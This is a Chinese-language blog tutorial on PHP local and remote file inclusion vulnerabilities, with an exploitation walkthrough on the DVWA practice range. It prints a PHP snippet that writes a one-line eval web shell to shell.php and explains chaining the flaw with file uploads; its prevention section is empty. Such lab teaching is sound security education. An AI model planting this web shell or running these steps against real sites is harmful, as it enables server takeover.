文件包含漏洞

简介

主要简单介绍一下文件包含漏洞的相关知识,以及个人的一些学习心得
Web渗透零基础入门



一、文件包含原理

1、为什么使用文件包含?

为了提高效率以及让代码看上去更加简洁,程序开发人员一般会把要重复使用的函数写到单个文件中去,需要使用这个函数时直接调用此函数,而无需再次编写,这种文件调用的过程一般被称为文件包含。
服务器执行php文件时,可以通过包含函数加载另一个文件中的PHP代码,并且当作PHP来执行,这会为开发者节省大量时间。
如果我们创建一个供所有网页引用的标准页面或者菜单文件,当页眉需要更新时,只更新一个包含文件就行了;或者当我们需要向网站添加一张新的页面时,只需要更改一下菜单文件。
很多时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件代码。

文件包含漏洞分为“本地文件包含”和“远程文件包含”漏洞。

2、什么是文件包含漏洞?

文件包含函数包含的文件参数没有经过过滤或者严格的,并且参数可以被用户控制,就可能包含非预期的文件。如果文件中存在恶意代码,无论什么样的后缀类型,文件内的恶意代码都会被解析执行,这就导致了文件包含漏洞的产生。就像上一个关于文件上传漏洞的帖子里面的一个案例,上传的图片木马中的php代码可以通过文件包含漏洞执行。

这是一个示例
在这里插入图片描述
在这里插入图片描述
利用目录遍历得到相关文件的信息(关于为什么只能访问D盘下的文件,我查了一下,应该和网站目录存放的位置有关。我是放在D盘下的。)
在这里插入图片描述
注意,一般情况下,文件包含漏洞配合文件上传漏洞使用。利用文件上传漏洞,将木马文件上传到相关目录下, 再通过文件包含漏洞执行该木马。至于如何找到目录,就需要自己想办法了

3、文件包含分类
在这里插入图片描述
注意:要实现远程文件包含需要allow_url_fopen和allow_url_include都开启

本地文件包含漏洞得到利用还需要去猜路径,但是远程文件包含漏洞就不一样了。
如果php文件开启了远程包含功能,用户就可以把远端的木马的地址输入进去,
让目标站点根据路径去执行这个木马,进而导致目标站点被控制。

4、文件包含函数

  • require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
  • include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
  • include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

二、文件包含漏洞测试


1、本地文件包含

利用目录遍历漏洞执行相关文件即可
在这里插入图片描述

2、远程文件包含

这里用的是DVWA靶场。
在这里插入图片描述
在这里插入图片描述
有一个名为127.0.0.2的网站,网站目录下存放了一些文件。
在这里插入图片描述
echo phpinfo()
在这里插入图片描述
在这里插入图片描述
写入一句话木马

<?php
	$file = fopen("shell.php","w");
	fwrite($file,'<?php @eval($_GET["c"]); ?>');
	fclose($file);
?>

在这里插入图片描述
在这里插入图片描述
eval()把括号中的内容当作代码执行,get从输入点获得参数c;
"c"是参数,我们在网页中输入php代码。例如:echo phpinfo();
在这里插入图片描述
但是这里我们会发现一个问题,那就是文件写入的位置还是远端的服务器。那么如何将木马文件写入相关目录下呢?
我们可以修改fopen()里面的参数。
在这里插入图片描述
在已知文件目录的情况下写入木马文件
执行c=echo phpinfo();
在这里插入图片描述

三、文件包含漏洞防范

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值